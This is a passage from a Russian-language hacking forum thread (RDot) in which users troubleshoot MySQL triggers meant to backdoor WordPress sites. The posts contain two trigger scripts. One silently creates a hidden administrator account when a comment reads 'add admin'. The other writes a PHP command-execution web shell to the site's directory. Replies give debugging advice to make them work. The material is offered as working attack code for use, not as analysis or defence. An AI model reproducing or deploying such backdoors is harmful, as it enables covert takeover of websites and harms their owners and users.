Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 03.08.2011, 17:22   #11
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

Выдает такую хрень

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|' at line 17

версии

5.1.52-rel11.6

5.1.54

5.0.5-dev - 081106 - $Revision: 289630 $


пробовал везде одно и то же а где здесь решение честно говоря не допонял просто версию обновить что ли ? может я уже конечно от жизни отстал

хочу понять как это работает, научите плиз
vovasik вне форума   Ответить с цитированием
Старый 03.08.2011, 17:56   #12
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

скрин можно?
vovasik вне форума   Ответить с цитированием
Старый 03.08.2011, 20:39   #13
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
Question

нашел, для phpmyadmin правильно будет

PHP код:
DELIMITER //
CREATE TRIGGER `INSERTBEFORE INSERT ON `fixer`.`wp_comments`
    FOR 
EACH ROW BEGIN
        
IF NEW.comment_content 'add admin' THEN
            INSERT INTO 
`wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES 
                
('31337''root''$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.');
            
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
                
('31337''wp_capabilities''a:1:{s:13:"administrator";s:1:"1";}'),
                (
'31337''admin_color''fresh'),
                (
'31337''comment_shortcuts''false'),
                (
'31337''rich_editing''true'),
                (
'31337''nickname''root'),
                (
'31337''first_name''drtro.public@gmail.com'),
                (
'31337''wp_user_level''10');

        
END IF;
    
END
// 
ошибку не выдал, но и и не работает почему то. После ввода такого кода проста перестают записываться комменты и юзера не создает.
что на этот раз не так?

и что означает кусок кода

PHP код:
CREATE TRIGGER `INSERTBEFORE INSERT ON `fixer`.`wp_comments
мы создаем тригер INSERT в бзе fixer и таблице wp_comments правильно?

есть ещё каие нибудь рабочие примеры тригров для изучения?
vovasik вне форума   Ответить с цитированием
Старый 03.08.2011, 20:58   #14
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Оставь там просто wp_comments, это похоже ошибка.

Если по-прежнему не работает, попробуй назвать триггер не INSERT, я не уверен, что можно использовать это слово.
В коде который я использовал название триггера произвольное.
tipsy вне форума   Ответить с цитированием
Старый 03.08.2011, 22:32   #15
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

убрал fixer заменил INSERT результат не изменился, что то тут не сходится есть ли ещё доходчивая нфа кроме оф документацмии ? или практические примеры тригеров хотя бы
vovasik вне форума   Ответить с цитированием
Старый 03.08.2011, 23:28   #16
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Хм, сделал себе небольшой примерчик, повесил на него триггер, стало выдавать
Код:
Thread stack overrun: 7172 bytes used of a 131072 byte stack, and 128000 bytes needed. Use 'mysqld -O thread_stack=#' to specify a bigger stack.
Может у тебя тоже с такой причиной запрос валится?

По крайней мере это бы объяснило, почему у тебя комменты перестали добавляться (триггер "BEFORE INSERT" валится и до самого инсерта не доходит)

Последний раз редактировалось BlackFan; 03.08.2011 в 23:32..
BlackFan вне форума   Ответить с цитированием
Старый 04.08.2011, 08:39   #17
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

может и так, у меня почему то без объяснения причин валится
vovasik вне форума   Ответить с цитированием
Старый 05.08.2011, 18:18   #18
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
Question

вы уверены что тригер вобще способен создать бекдор?

а то у меня уже второйне рабочий пример готов

PHP код:
DELIMITER //
CREATE TRIGGER backdoor AFTER UPDATE ON wp_users
FOR EACH ROW label:BEGIN
IF (SELECT user_pass FROM wp_users WHERE ID=1)='$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.' THEN
SELECT '<?=`$c`?>' INTO OUTFILE 'site/smile.php';
ELSE
LEAVE label;
END IF;
END;
//
DELIMITER ;
vovasik вне форума   Ответить с цитированием
Старый 05.08.2011, 19:52   #19
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Я пользовался переделанным под себя кодом из второго поста.

tipsy вне форума   Ответить с цитированием
Старый 05.08.2011, 21:40   #20
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

а как он у тебя работает ? где косяк пожалуйста объясни
vovasik вне форума   Ответить с цитированием
Ответ

Метки
backdoor, i'll be back, javascript, фишинг, sql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot